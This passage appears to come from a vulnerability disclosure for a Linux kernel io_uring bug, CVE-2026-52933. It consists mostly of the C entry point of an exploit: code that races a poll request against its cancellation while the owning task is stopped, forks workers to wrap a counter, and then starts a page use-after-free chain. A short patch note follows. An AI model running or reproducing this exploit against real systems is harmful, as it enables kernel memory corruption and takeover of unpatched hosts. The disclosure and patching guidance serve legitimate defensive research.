sqe->opcode = IORING_OP_POLL_ADD;
sqe->fd = event_fd;
sqe->poll32_events = POLLIN;
sqe->user_data = target_tag;
if (ring_submit_one(&target, sqe) != 1)
fail("submit target poll");
if (write(ready[1], "R", 1) != 1)
fail("target ready");
raise(SIGSTOP);
/*
* In exploit mode the duplicated completion has consumed the poll
* file reference twice. Drop this task's descriptor while keeping
* the task itself alive: exiting it here would expose the companion
* under-count on req->task before the page-UAF chain has run.
*/
if (exploit)
close(event_fd);
if (write(resumed[1], "D", 1) != 1)
fail("target resumed");
pause();
_exit(0);
}
close(ready[1]);
close(resumed[1]);
{
char byte;
struct io_uring_sqe *sqe;
if (read(ready[0], &byte, 1) != 1)
fail("wait target ready");
if (waitpid(child, &status, WUNTRACED) != child ||
!WIFSTOPPED(status))
fail("wait stopped child");
sqe = ring_get_sqe(&target);
sqe->opcode = IORING_OP_ASYNC_CANCEL;
sqe->fd = -1;
sqe->addr = target_tag;
sqe->user_data = NEBUSEC_TAG ^ UINT64_C(3);
if (ring_submit_one(&target, sqe) != 1)
fail("submit target cancel");
}
printf("[+] target cancelled with owner task stopped\n");
if (wakeups == (1ULL << 30) - 1) {
printf("[+] full-wrap target ring entries=%u\n", target.entries);
if (preflight) {
kill(child, SIGKILL);
waitpid(child, NULL, 0);
return 0;
}
}
producers = NULL;
if (!direct) {
producers = calloc(workers, sizeof(*producers));
if (!producers)
fail("calloc producers");
for (unsigned i = 0; i < workers; i++) {
ring_init_flags(&producers[i], 32768,
sqpoll ? IORING_SETUP_SQPOLL : 0);
producer_prepare(&producers[i], event_fd, &one);
}
}
{
pid_t *pids = calloc(workers, sizeof(*pids));
if (!pids)
fail("calloc producer pids");
for (unsigned i = 0; i < workers; i++) {
uint64_t count = wakeups / workers +
(i < wakeups % workers);
pids[i] = fork();
if (pids[i] < 0)
fail("fork producer");
if (!pids[i]) {
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(i % 2, &cpus);
(void)sched_setaffinity(0, sizeof(cpus), &cpus);
if (direct)
producer_run_direct(event_fd, count);
else if (sqpoll)
producer_run_sqpoll(&producers[i], count);
else
producer_run(&producers[i], count);
_exit(0);
}
}
for (unsigned i = 0; i < workers; i++) {
if (waitpid(pids[i], &status, 0) != pids[i] ||
!WIFEXITED(status) || WEXITSTATUS(status))
fail("producer worker");
}
free(pids);
}
if (wakeups == (1ULL << 30) - 1) {
uint64_t counter;
if (read(event_fd, &counter, sizeof(counter)) != sizeof(counter))
fail("drain eventfd");
printf("[+] drained eventfd counter=%llu\n",
(unsigned long long)counter);
locked_wake_batch(&target, event_fd, child);
} else {
printf("[+] resuming target task\n");
kill(child, SIGCONT);
}
{
struct pollfd pfd = { .fd = resumed[0], .events = POLLIN };
char byte;
if (poll(&pfd, 1, 5000) > 0 && read(resumed[0], &byte, 1) == 1)
puts("[+] target returned after pending task work");
else
puts("[!] target did not return");
}
printf("[+] target CQEs=%u\n", ring_reap(&target));
if (exploit) {
perf_page_uaf_exploit(event_fd);
} else {
kill(child, SIGKILL);
waitpid(child, NULL, 0);
}
return 0;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in April 2026. The fix treats the packed counter and cancellation state without the unsafe signed comparison. Systems should consume their distribution’s kernel update; disabling or restricting io_uring is only a temporary defense for hosts that cannot patch.
The safest check is the distribution’s own kernel changelog for CVE-2026-52933;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
